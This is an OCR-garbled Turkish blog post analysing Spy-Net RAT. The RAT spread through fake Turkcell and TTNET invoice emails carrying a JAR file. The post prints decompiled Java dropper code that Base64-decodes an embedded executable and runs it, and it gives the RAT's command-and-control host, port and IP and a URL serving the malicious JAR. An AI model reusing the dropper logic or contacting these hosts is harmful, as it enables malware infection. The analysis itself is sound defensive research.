Spy-Net RAT Analizi

written by Mert SARICA | 1 November 2013

FatMal, Hesperbot, Zeus derken neredeyse 2013 yilini geride birakiyoruz. Son
yayimlanan tehdit raporlarina baktigimizda zararli yazilim salginlarinda Turk
kullanicilarinin eskiye kiyasla daha sik hedef alindigini goériyoruz. Zararli
yazilim analizi Uzerine yan dal yapmaya calisan bir sizma testi uzmani
olarak, son yillarda artan siber saldirilara bir de bu salginlar
eklendiginde, son kullanicilarin, kurumlarin gecmis yillara kiyasla
glivenlige, uzman personele daha c¢ok dnem vermeleri gerektigini
soyleyebilirim. Ornedin yillar 6nce sizma testini 11. gdrev olarak gbren ve
10 isi ayn1i anda gotlurmeye calisan bir uzmana yukleyenlerin, bugln sadece
sizma testi yaptirmak icin 3-4 kisilik ekipler olusturduklarini
gorebiliyoruz. Artan zararli yazilaim salginlari ve APT tehditleri ile zaman
icinde zararli yazilim analizi becerisine sahip uzmanlara da ayni sekilde
talebin artacagini tahmin ediyorum dolayisiyla kendinizi yarina hazirlamak
ic¢in zararli analizi konusunda bol bol pratik yapmanizi tavsiye edebilirim.
Pratik yapmak icin benim gibi sagdan, soldan elde ettiginiz 6rnek zararli

yazilimlari inceleyebilirsiniz.

Gectigimiz glnlerde yine bir arkadasim, kendisine gelen bir sahte e-postayi
benimle paylasti. 2012 yilindan bu yana gonderilen JAR uzantili sahte KVK,
Yurtici Kargo e-postalarina son olarak sahte Turkcell e-postasi eklendi. Daha
once inceledigim benzer Orneklerde, art niyetli kisiler Vodafone 3G modem
Uzerinden zararli yazilim bulasan sistemler ile iletisime gecgiyorlardi.
Zararli yazilimlarda gecen Tirkce fonksiyon isimleri de gelistiricilerin
yabanci olmadiklarini ortaya koyuyordu. Aradan uzun bir zaman gec¢tikten sonra
gonderilen son 6rnege g6z atmaya ve bu konuda sizleri bilgilendirmeye karar

verdim.

Sahte e-postanin ekinde Sanal P0OS Kontor Odeme Islemleri.jar isimli bir dosya

yer aliyordu.


https://www.mertsarica.com/spy-net-rat-analizi/
http://www.mertsarica.com/seytan-ayrintida-gizlidir/
http://www.eset.com/us/resources/white-papers/Hesperbot_Whitepaper.pdf

From: infoi@turkcell.com.ir

To:

Subject Turkcell Dagtim Merkezi (TDM
Date: Sat, 26 Oct 2013 12:17:40 +0300

Turkcell Dagitim Merkezi (TDM

Sanal POS Kontor Ddeme'lglemleri.jar
490K Download

O

JAR uzantili dosyayi actigimda iginden
POS Kontdér Islemleri Odeme Listesi.xls
x/reverse.class dosyalari ciktai.

& Sanal POS Kontor. Odeme iglemleri

File  Edit  Wiew Tools  Help

d=ab @ = L@ pSearch ii:-:-FoIders v

Favorites

BASE64 ile encode edilmis 777.exe ve

dosyalari ile birlestirici.class ve

Address |3 C:\Documents and Settings)Administrator|DeskkoplSanal POS Kontor Odeme Islemleri

v|.G0

Mame =
File and Folder Tasks [CAMETA-INF
19 Make aniew Foldsr =
E???.exe
@ Publish this Folder to the @ birlestirici. class
Web '
2 .

e share this Folder . .
POS Kontér Islemleri Odeme_Listesi,xls

Other Places

@ Deskiop

lE:'I My Documents
|5) Shared Documents
g My Computer

!d My Network Places

Details

Size | Type Date Maodified Date Created
File Folder 27.10,2013 11:05 27.10,2013 11:05
File Folder 27.10,2013 11:13 27.10,2013 11:05
472 KB  Application 25.10.2013 21:26 27.10,2013 11:05
3KE (CLASS File 13.08.2012 19:19 27.10,2013 11:05
1KE Application Extension  25.10,2013 21:26 27.10,2013 11:05
13KE ¥L5File 25.10,2013 21:26 27.10,2013 11:05

birlestirici.class dosyasini kaynak koduna cevirip analiz ettigimde 777.exe

ve POS Kontor Islemleri Odeme Listesi.xls dosyalarini BASE64 ile decode edip

calistirdigini gordim.
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TBHE ©

BufferedReader BF = new BufferedReader{new InputStreamReader({getClass() getResource AsStreamireverse cevir"lid lId"))));
String arch;

File tmp;

forf; {arch = BF readLine(}} |= null && larch.isEmpty(}, System.out.printinftmp getAbsolutePath()))

{

String confl] = arch split("#");
System out printin{conf[0] frim(});
Systern.out.printiniconf{1]);
tmp = File.createTempFile("lili", conf[0].substring{conf[0].indexOf{" "}});
BufferedOutputStream archivo = new BufferedOutputStreaminew FileOutputStream{tmp));
BufferedinputStream entrada = newi BufferedinputStream(getClassi) getResource AsStream(conf[0]));
BufferedReader br = new BufferedReader(new InputStreamReader(entrada));,
StringBuilder bu = new StringBuilder();
String trm;
wihile({tm = brreadLine()) 1= null)

bu.appenditm);
byte byDes[] = Baseb4 decods(bu toString();
archivo wirite(byDes);
archivo close();
ificonf[1].equalsignoreCase{"evet"))

Runtime getRuntime() execinew String[ {

reverse cevir{"exe dmc"), e, tmp getAbsolutePath()

¥
catch{|OException ex)
Systerm.out printin{ex getMessage());
} L

public static void main{String args)
throws IOException
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| pubiic bifestiici) {
| pubiic:stafic: void mainiSting args(Jthrows IOE sception {+
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: 14 Col: 6 Madified | Hum lock; OFF Caps lock: OFF  Insert: OFF 2,507 GB Free

H Hex Workshop - [777.exe]
Fle Edt Disk Options Iools window Help

ZCHSH A RWBAE 90 |AaKS BESG ||Y
A ENE Vb @B

EEIEST-]

| | 2 | | e ||| S| RR | E | B R | B[ e S A 1 e A 18] 119 A B SLE TEE| LR AE 20 |21 22 23 | 2428 | 26| 2 | W2 456  HSARCDER 0 ERTALE T HIAHCDERH T 254567

00000000 54 56 71 51 41 41 4D 41 41 41 41 45 41 41 41 41 2F 2F 38 41 41 4C 67 41 41 41 41 41 41 41 41 41 S1 41 41 41 41 41 41 41 [[VgQAAM E. g4 1. Q
00000028 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000050 77 41 41 41 41 41 34 66 75 67 34 41 74 41 6E 4E 49 62 &7 42 54 4D 30 68 56 47 68 70 63 79 42 77 63 6D 39 6E 63 6D 46 74 whAAAA4fug4AtAnIbgETHOLVGhpoyBwemInemFt
00000075 49 47 4E 68 62 6D 35 76 64 43 42 69 SA 53 42 79 b4 57 34 67 61 57 34 B7 52 45 39 54 49 47 31 76 OA 47 55 75 44 51 30 4B ICGNhbmSvdCBiZSBydW4gaW4gREITIC IvZOUUDQOE
000000A0 44 41 41 41 41 41 41 41 41 41 41 6D 72 65 44 62 59 73 79 4F 69 47 4C 4D b6A 6F 66 69 7A 49 36 49 34 64 43 41 69 47 50 4D JAAAAAAAAARmMTreDbYsyOiGLMjohizI6I4dCAiGEM
000000CH 6A 6F 67 4C 30 34 65 49 51 73 79 4F 69 49 76 54 67 34 66 6A 7A 49 36 49 55 6D 6C BA 61 47 4C 4D 6A 6F 67 41 41 41 41 41 jogL04elQsy0ilvTg4hjzIl6llUml jaGLMjogAAAAA
0DODODFD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 55 45 55 41 41 45 77 42 41 77 41 41 41 47 638 53 55 45 56 44 54 77 41 41 UEUAAEWE, GhEUEVDTwAL
00000115 41 41 44 67 41 41 38 42 43 77 45 47 41 41 43 51 43 51 41 41 59 41 51 41 41 41 41 41 41 42 71 48 44 &7 41 41 45 41 41 41 AADgAASBCwEGAACQUQAAYAQAAAAAABqHDgAAEAAA
00000140 41 4B 41 43 41 41 41 41 51 41 41 41 45 41 41 41 41 41 49 41 41 41 51 41 41 41 41 42 41 41 41 41 42 41 41 41 41 41 41 41 AKAT QAALE. TAAAD, E. B,
00000168 41 41 41 41 34 41 34 41 41 41 S1 41 41 4B 49 79 42 67 41 43 41 41 41 41 41 41 41 51 41 41 41 51 41 41 41 41 41 42 41 41 AAAA4A4, QARKIVEYAC. Q. QL .
00000190 41 42 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 30 41 34 41 48 77 45 41 41 41 42 41 AB 0, DA 4AHWE, E,
00000188 43 67 42 38 52 67 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 CgBBRy).
000D01ED 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000208 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

00000230 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 77 SA 57 4D 78 41 41 41 41 41 41 41 77 BuZW: W
00000258 43 67 41 41 45 41 41 41 41 44 S1 42 41 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 44 67 CgAAE DQE, ot Dg
00000280 4C 6E 42 7A 63 6D 4D 41 41 41 41 41 6B 41 51 41 41 45 41 4B 41 41 42 4D 42 41 41 41 4F 41 45 41 41 41 41 41 41 41 41 41 LnJ: b JkAQNAAEARAARME, OAE.

000002A8 41 41 41 41 41 41 41 41 51 41 41 41 77 43 35 79 63 33 4A 6A 41 41 41 41 41 42 41 41 41 41 44 51 44 67 41 41 42 41 41 41 Q. a5y 30 \i} DODgAAB
00000200 41 49 51 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 41 4D 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AIQF, E, AGF

000002FB 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000320 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
000003458 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00000370 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 4

i
NOMNNASA 41 41 41 41 41 41 47 41 47 41 41 41 41 41 47 41 41 41 41 41 41 41 41 41 41 41 47 41 41 41 41 41 41 41 41 41 47 41 41 41 AARARRAAAAAAAAAARARARAAARARAARAAAAAAAAAAA

Ble Edt Dik Options Iooks window Help - 8%
SESHSH |4 hlBE BAHS BEG || R BE @ S
2 BN Ve @R
0 1 2 3 45 6 7 8 9 A B C D E F 1011 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 D123456789ABCDEF0123456789ABCDEFOL234567
0000000 40 E]
00000028 00
00000050 69
00000078 24
000000A0 9B
000000CE 00
n00000F0 00
00000116 A2
00000140 00
00000168 00
00000190 00
000D01BE 70
000D01ED 2E
00000208 2E
00000230 00 =
Fi FOS Kok [By  777exe [E ol DecodadBasJ
ﬁ Frazt: 0 (000000000 i‘ﬁmszancesnf‘snmgs‘fnunmnuemuedaasesq e R -a X
80 Signed Byte 77 Address %) | Length [% | Length [/ ~
88T Unsigned Byte 77 000000CA & 06 hRPECO
168 Signed Short 23117 00001ED 5 a5 astc
168 Linsigried Short 23117 00000208 s 05 sre
326 Signed Long 9460301 00000833 3 05 @htPn
328T Unsigned Long 9460301 00006DAS s 05 s _
46T Signed Quad 12694362189 o013C4A 30 1E ¥5_VERSION_INFO
MM Unsigned Quad 12694362189 00013CA6 22 16 WarFilelnfo
32T Floak 1.3256705e-035 00013CCe 2z 15 Translation
4B Double 6.37066142-314 00013CEA 28 1c stringFilslnfo
S4BT DATE o0 UU 00 30,12, 1899 0001300E 16 10 04090480
188 DOS Date. 00013026 2z 16 CompanyMame
16617 DOS Time oo1aosz 2z 16 Praductflame =
S4BT FILETIME 0013060 14 i3 STPCKER
328 time:_t 00013082 22 16 File¥ersion
SHBIT Himedd_t 07:16:; 00013DAE 8 1C Productyersion
Binary 010011010101 1010 0013DE 2% 15 Internallizme
00013DF8 10 04 poker
D0013E0A 32 20 OriginalFilename
00013E2C 15 1z poker exe
0D001B7F4 5 0s kFp@Q
0002C440 5 s <
DO03EEDS 5 0s .Oyz™
0003F083 o 06 thfb3g IS ]
$YData Inspector [{ ] Sturture Viewer ] || EEcompare | W checksum | B Find [ 4 Bookmarks | [ outout |
Ready (Offset; DOD00DOD Walue: 23117 362496 bytes OWR

Zararsiz excel dosyasi bir kenara, 777.exe dosyasini BASE64 ile decode



ettikten sonra (DecodedBase64.exe) Immunity Debugger hata ayiklama araci
(debugger) ile analiz etmeye basladim. Paketlenmis olan bu dosyayi adim adim
analiz ettikten sonra Visual Basic ile yazilmis baska bir yazilimi hafizada
actigini (unpack) gordim. Statik analiz icin OEP (original entry point)
uzerinde programi hafizadan diske CHimpREC araci ile DecodedBase64- .exe adi
altinda kayit (dump) ettim. Ardindan bu yazilimi Malwr (cuckoo sandbox)
sitesine ylkledigimde analizin basarisizlikla sonuc¢landigini gérdim.

dows Internet Explorer

(€ IS LA LS wirustotal.com | [+ ][ e
File Edit Wew Favortes Tools  Help

Favarkes | 5 @& - Bl -

| @ Malwr - Mahware Analysis by .. | Bl Anthvirus scan For bS357F - Y + Page~ Safety - Tools~ st

SHA256: c95f3f5986e6ecefT000894a379de25d43d36M Tid 16200f6efd368dcdd784be

i ded 64 exi
Dosya adi DecodedBaseb4 exe —
AP @0@0
Analiz tarihi 2013-10-27 19:35:25 UTC { 0 dakika dnce})

= Analizler

Antivirus Sonug Guncelle
Agnitum Packed 20131027
AhnLab-V3 20131027
AntiVir ] 20131027
Antiy-AV] 20131027
Avast (] 20131027
AVG (] 20131027
Baidu-International (] 20131027 v
Done @ Internet S| Riow -

< Immunity Debugger - DecodedBase64.exe - [CPU - main thread, module DecodedB]
Fle view Debug Plugns Immib Options Window Help Jobs

=5 “xr Hl4d+ lemtwhcPkbzr

fAddress

AODINGFADDI N

|Analysing Decoded] 11 heuristical procedures. 4 calls to known functions |Paused



https://malwr.com/analysis/YmIxZGRiMDM3MGNmNDFmNDhiN2NhMWFkZDFiNGQ3MGI/

% CHimpREC - SecTor Edition - {C) 2010 TiGa

Attach to an Ackive Process

|DerodedBase64. exe (OO00OFES)

-Imported Functions Found

+-user3Z . dll FThunk: 00001000 MbFunc: 1 {decimal: 1) valid: YES Cump
#- kernel3z.dil FThunk: 00001008 MbFunc: 1 {decimal: 1) valid: YES
+- mswbyrns0, dll FThunk: 00001010 MEFunc: 84 (decimal: 138) valid:YES IAT AutoSearch
et Imports
Show Irevalid
Fizx Durnp
Log
N Clear Imparts
Current imporks:
3 {decimaI:S} valiu:.l modules . Clear Log
aC (decimal: 140) imported Functions
0 ({decimal: 1) unresolved pointers Options
*4% hew section added successfully, RMA:OD0EEQDD SIZE: 00001000
About
i .
.{_ i 3 Exit
IAT Infos needed 1 Mew Import Infos
CEP RyA:  SEEIR | 1aT e IAT Size: Seckion Size:
00o010DAS | o0ooioao Qo0ooz3s 00000sFF

H Hex Workshop - [DecodedBaset4-_.exe]
File Edit Disk Options Tools MWindow Help -8 x

ZSHad |{hBGE 90 BAAfle 2PG
A ENN Ve @B

0

O00034FE 2C -
00003520 88
00O003548 00
0oon3s7o 90
00003598 00
aoo003sco 0o
000035ES 00
oooo03elo 0o
00003638 64
00003660 65
O000368E8 31
00003680 0O
O00036DE 00
nooo3700 00
00003728 00

00003750 00 v
DecodedBas.

ﬂ frsat: 0 [0X00000000] ﬁ ;Eﬂwnstantesnf‘smngs‘ P Dot SR DR o A
80 Signed Byt~ 77 Address [%) | Length % | Lenath [B) ~
8B Unsigned Byte 77 000000CA & 06 hRPECO "
ISBI Signed Short 23117 000001ED 5 0s R
680 Linsignied Shart. 23117 00000208 5 05 asrc
2287 Signed Long 9460301 00000230 5 0s TiGa
328 Linsigned Long 9460301 00001DDE iz < and SPok0E1
46T Signed Quad 12894362189 0000211C 5 s poker
S48 Unsigned Quad 12594362183 00002122 7 o7 STRCKER
32BIMFlaat 1.3256705e-038 00002128 & 06 Poknal
S48 Double £.3706614e-314 0
4T DATE 00:00:00 30.12.1899 00004490 7 o7 Enabled
1681 DOS Date 13.02.2025 00004498 1 B BorderStyle
18811 DOS Time 0D004AEE 1z oc comctl32,00x
SUBITEILETIME 000044FB 19 12 MSCometlLib, Toolbar
328 time_t 00004B0F 7 7 Taclbar
BHBIT timetet & 00004CDA 12 oc comct32.0cx

Binary 00004CE7 20 14 MSCometiibList¥iew
00004CFC 8 08 ListWiew
00004E22 12 ac cometi32,00x
00004E2F 21 15 MSCometiLib.ImageList
00004E45 9 03 Imagelist
00004FCE T o7 Enabled v
< >
dData Inspector [ { ] strusture Viewer | Bfy Compare | &, Checksum | B8 Find [ 4 Bookmarks utput|
Find Al Complete. (Offset: 00000000 [Value: 23117 975344 bytes OWR.

Ardindan bu yazilimin da (DecodedBase64- .exe), UPX ile derlenmis baska bir
yazilimi hafizaya actigini goérdim ve bunu hafizadan, diske 001A7000.exe adi

altinda kayit edip, UPX ile actim (unpack).



CPU - main thread, module DecodedB]
indow  Help  Jobs

lemtlwhcPkbazrz

[Paused

Disk Qptions Tools Window Help 8
[GRE] R YRR ]
A
i v
_ 00147000, _D01ATO00.

[ifeet: 0 00000000 ﬁ X
SMMSigned Byts 77 Address [B) ~
80 Unsigned Byte 77 00000243 5 05 asic
1601 Signed Short 23117 0000LAOC 24 18 ortions Copyright (c) 19
1601 Unsigned Short 23117 0000LC1E 3 06 1Gi8th

3200 Signed Long 5285997 000026F6 7 o7 dMemory

328 Unsigned Long 5265997 000031537 a 09 “Active 5

40 Signed Quad  #595200559 00003957 3 06 WiESOU

S4BT Unsigned Quad 8595200589 00004428 23 17 -4cd3-a358-c22904dba7f7

3260 Fipat 7.3792335e-059 0005331 & ] NOTP. abc

348 Double 424659338314 00005363 10 0a AUTOLIWEB%D

SHB DATE 00:00:00 30. 12,1853 Q000S3EC 11 [ 456789 <=
I£8IT DOS Date. 13.02.2025 00005418 & 06 1"#4%

1681 DOS Time, 11:18:26 000054D4 s 05 dsTUB

S48 FILETIME 00:14:19 01.01. 1601 00005516 9 03 4C+2g5 40

3200 time_t 22:46:37 02.03.1970 000CB13 s 05 4,

S4BT Hmege_t 1134309 16.05.2242 ooooccss 06 EgnvCe

Binary 0100110101011010 Q002A66E 5 05 @D,
0003F336 5 05 <A
00043CED 2z 16 SRR
00D43ELC 1z [ KERNEL32,DLL
00043629 12 oc advapiaz.di
00043636 11 ] erypt3z.di 2
<

& Data Inspector [ { ] Structure Viewer 4 compare | & Checksum | B8 Find | 4 Bookmarks

Find Al Complete.

(Offset: DODD0DOD

Value: 23117

306112 bytes

OifR:




e C:AWINDOWS\system32\cmd. exe

CosDOCUME™1L~ADHINI “1~Desktop~antivm>upx —d _AA1A7HAA.exe

317888 - Ifdn112 26 .38 win32 pe _AA1A7600 . exe
Unpacked 1 file.
SNDOCUME™1ISADHINI “1~Desktop~antivm’__

Statik analiz ile yazilim Uzerindeki dizilerden bunun Spy-Net RAT
olabilecegini distndim. Spy-Net RAT’i genel olarak analiz ettigimde,
istemcinin baglanacagi sunucu adresi, sifre, sistem lzerinde calisirken
kullanacagi dosya adi gibi cesitli bilgileri, olusturulurken (server.exe
olusturma), OxBC ile XOR’layarak ####@#### dizileri arasina kaydettigini
tespit ettim. Ardindan Python ile bu parametreleri tespit edip, ¢6zebilrn
(XOR), Spy-Net Config Decrypter adi altinda ufak bir arac hazirladim. Bu
araci, Spy-Net istemcisi ( 001A7000.exe (klasik server.exe)) Uzerinde
calistirdigimda bana, baglanacagi ip adresinden
(microsoftupdatedns.redirectme.net:115), sifresine, sistem lzerinde kendini
gizlemek ig¢in kullandigi dosya adina (ctfmon.exe) kadar tim bilgileri verdi.
IP adresini (81.6.76.156) kontrol ettigim de ise yine Vodafone IP bloguna ait

oldugunu goérdim.


http://www.mertsarica.com/codes/spynet-decrypter.py

& - o [x]
ISHSB
A BBE e

[FRE N AaBe BB %% H

XOR Operation
1

d Presaizicn 27 01234567B89ABCDEF0123456789ABCDEF 01234567
Perfoms a0R operation. For example, the valus D4F0

00000520 0] | (11110000 in binary) <0F Db (10101610 i binary) i 0454 e64. .EWindows . . .System...Syslnit..Ulypes ~

0 49 | [@O11010 in binary) .-ulE7_decode...UnitDiversos...T1Help32
3 .glnitServerltils. .. .werypt?. . KulRLHisto
74 [fOperand ry..shetiveX. . IMessages. . .CryptApi.. . uRA
[ Treat Data As: {3 SReader. ..IEpasswords. . .Pstoreclib. .SPST
4 Byte Ordlering: ’m‘ ORECLib_TLE..'unitStartup...UnitComandos
6 g ..deletellnit. . .UnitPasswords. . .EditSvr.
69 Value: [BC JnitInstalacac. UlnitSettings. .RUnitVa
6 riaveis..6UnitSandBoz. DUmtInJectlerar
D (" Decimal # Hex
21 [ #esbon
2 ‘o & Entie File s
2
2320 )
EFEEYS 28 25 28 40 235 23 marmar: la: 'TRUE ####
23 8C 23 @F#B  HREROE R \wlndcws\cryptusulte\##
28 23 Z5 THo! .B73
36 2D 32 7DQS6-2356-H038- EXZS MlTTZEDDlD30}####@#
23 23 23 AR EERRORMEE. L L ALSE

B HARROREEY  RRRROERER . L L e,
####@#### L HEREQEERE . L L -

23 23 23
D9 9C FA

serverl exe [ [l severzeve [ _00147000..

ﬁ Fffsgt: 55031 [0x0000DEF7] ﬂ 104 instances of '232323234023232323 found in _001A7000,exe aﬁ B B x
sBTSigned Byte 35 ~ Address [B) | Length [ | Length [B) ~
B8 Unsigned Byte 35 0000DEFT 9 =]
|88 Signed Shart 8995 00000701 9 03
1587 Unsigned Shart 5995 00000708 9 i)
3287 Signed Long 589505315 00000715 ) 03
328T Ungigned Long 589505315 0000071F 9 i)
48T Signed Quad 25319061 73886735139 00000729 9 09
S4BT Ungsigned Quad  2531906173886739139 00000733 9 i)
3287 Float 5.84368328-018 00000730 9 03
S4BT Double 2.0088231e-139 00000747 9 03
SHBITDATE 00:00:00 30,12, 1899 00000751 9 03
1887 DOS Date: 03.09.1997 0000D758 9 03
1587 DS Time: 3 0000D7es 9 ) hd
M4BT FILETIME 8 16.04.9624
32BT Hma + 7% 7836 NS NQ 19RR | < >
& Data Inspector [ { ] Structure Viewer | B compare | 3 Checksum | 88 Find [ 4 Bookmarks | [ output |
Ready Offset: D000DEF? Value: 5995 317688 bytes OVR |MOD

C:AWINDOWS\system32cmd.exe

Epy—Het u2 E Config Decrypter [http: 2w, mEItﬂarlca cum]

[+=] Epy—Het EEPUEP' mlcruuuftupdatednu.Pedlrectme net=115

[#] Identification:
[#] Password:

lasatsa

[#] Parameters:

TRUE

c:wwindowsscryptosuite™s

cftmon

-EMHE

marmara

L{6Y3YDRS6—-2356-HA38-ER25-M1YT28DD1A30%

cftmon

Error

Run Time Failed.?

ftp.zerver._.com
Alogs s
ftp_user

Al
21 °
38

ill+1

{-[=]x]




81.6.76.156 domaininin (sitesinin) whois bilgileri:

Thi=s i= the RIPE Database guery service.
The objects are in RPSL format.

The BRIPE Database is subject to Terms and Conditions.
See http://www.ripe.net/db/support/db-terms-conditions.pdf

W o g o

% Note: this output has been filtered.
% To receive ocoutput for a database update, use the "-B" flag.

% Imformation related to "8l.6.64.0 - 81.6.95.255!

inetnum: Bl.6.64.0 - 81.6.85.255

netname : Vodafone-Turkev-Customer-IP-FPools
dezcr: Vodafone Turkey GPRS address pool
country: TR

admin-c: VI1l712-RIPE

tech-c: VI1l712-RIPE

status: LS5IGHNED PA

mnt-by: RTHET-MNT

mnt-lowWer: RTHET-MNT

mnt-routes: RTHET -MNT

source: RIPE # Filtered

person: VODLFONE TUEBEEY

address: Vodafone Telekomunikasyon &4.5.
address: Vodafone Plaza Buvukdere Cad. No:251
address: 343598 Maslak, Istanbul

address: TUREEY

phone: +90 212 3670000

fax-no: +890 212 3670010

nic-hdl: VT1712-RIPE

abuse-mailbox: abuse-tr@vodafone.com

remarks: Vodafone Turkey IP Management Team
source: RIPE # Filtered

mnt-by: RTHET-MNT

% Information related to '81.6.64.0/19A515897"

route: 81.6.64.0/19

dezcr: Vodafone Turkey 3G Pool
origin: 4515897

mnt-by: RTNET-MNT

sSource: RIPE # Filtered

Sira bunun gercekten Spy-Net RAT olup olmadigini teyit etmeye geldiginde,
sanal makineme 115. baglanti noktasini dinleyen Spy-Net v2.6 sunucusu kurup,
hosts dosyasina 127.0.0.1 microsoftupdatedns.redirectme.net satirini ekledim.
Son olarak 001A7000.exe dosyasini calistirdigimda ise Spy-Net arabirimi
tUzerinden baglantinin basariyla gerceklestigini gordim ve bu sayede bunun
Spy-Net zararli yazilimi oldugunu teyit etmis oldum.
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OMLIME SAYISI: 1 ACIEK OLAMN PORTLAR: (115)

Umarim herkes icin faydali bir analiz yazisi olmustur. Bir sonraki yazida
gorusmek dilegiyle herkese givenli ginler dilerim.

Guncelleme: Art niyetli kisiler, 29.10.2013 tarihi itibariyle “ADSL fatura
Son o6deme tarihi 29/10/2013 olan 23,00 TL tutarindaki guncel faturaniz”
baslikli sahte e-posta gonderiyorlar. Bu e-postada yer alan baglanti adresi
(link) ziyaret edildigi takdirde www.lotusgrill.com.tr/tt.net.jar adresinden
yukarida analiz ettigim benzer bir zararli JAR dosyasini indiriliyor ve
ardindan microsoftupdatedns.redirectme.net adresine 112. baglanti noktasindan
baglaniyor.
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Subject: ADSL fatura Son ddeme tarihi 29/10/2013 olan 23,00 TL tutanndaki glincel faturamz
Date: Tue, 29 Oct 2013 05:47:31 +0200

http://bit.ly/1ayCX54 -> http://www .lotusgrill.com.tr/tt.net.jar

Saym, TTNET ABONESI

Son Gdeme tarihi 29/10/2013 oln

Faturanm E-Fatura seklinde almay: tercih ederek hem kendinize zaman ayirmay: hem de coculdammiza yesil bir gelecak

birakmay: tercih ettiginiz igin teseldcir ederiz.

E-FATURA (ELEKTRONIK FATURA)

KULLANIMINDA DIKKAT EDILECEK HUSUSLAR
Tirkiye genelinde e-fatura, Maliye Bakanhd) tarafindan sadece
elektronik fatura génderme konusunda izin alan mikellefler
tarafindan ganderilebilr,

E-fatura génderimine izin verilen mikellefler, Gelir daresi
Bagkanhdl tarafindan http: ffwww.efatura.gov. tr/ adresinde
yaymlanmaktachr,

Faturada bulunan bilgilerin dedistirimesini énlemek ve faturanin
geldii kaynad) dodrulamak amacyla giivenli elektronik imza ile
imzalanmis oimast zorunlulugu bulunmaktadr, Bu nedenle,
tarafiniza iletien e-faturalarin tzerinde yer alan elektronik
imzanin dodrulanmasi, giivenlidiniz agsindan &nem arz
etmektedir.

Adres: © Tiirk Telekomirikasyan A.5. Turgut Ozal Bulvan
06103 Aydinlkevler, ANKARA

Faks: 0312 324 53 11



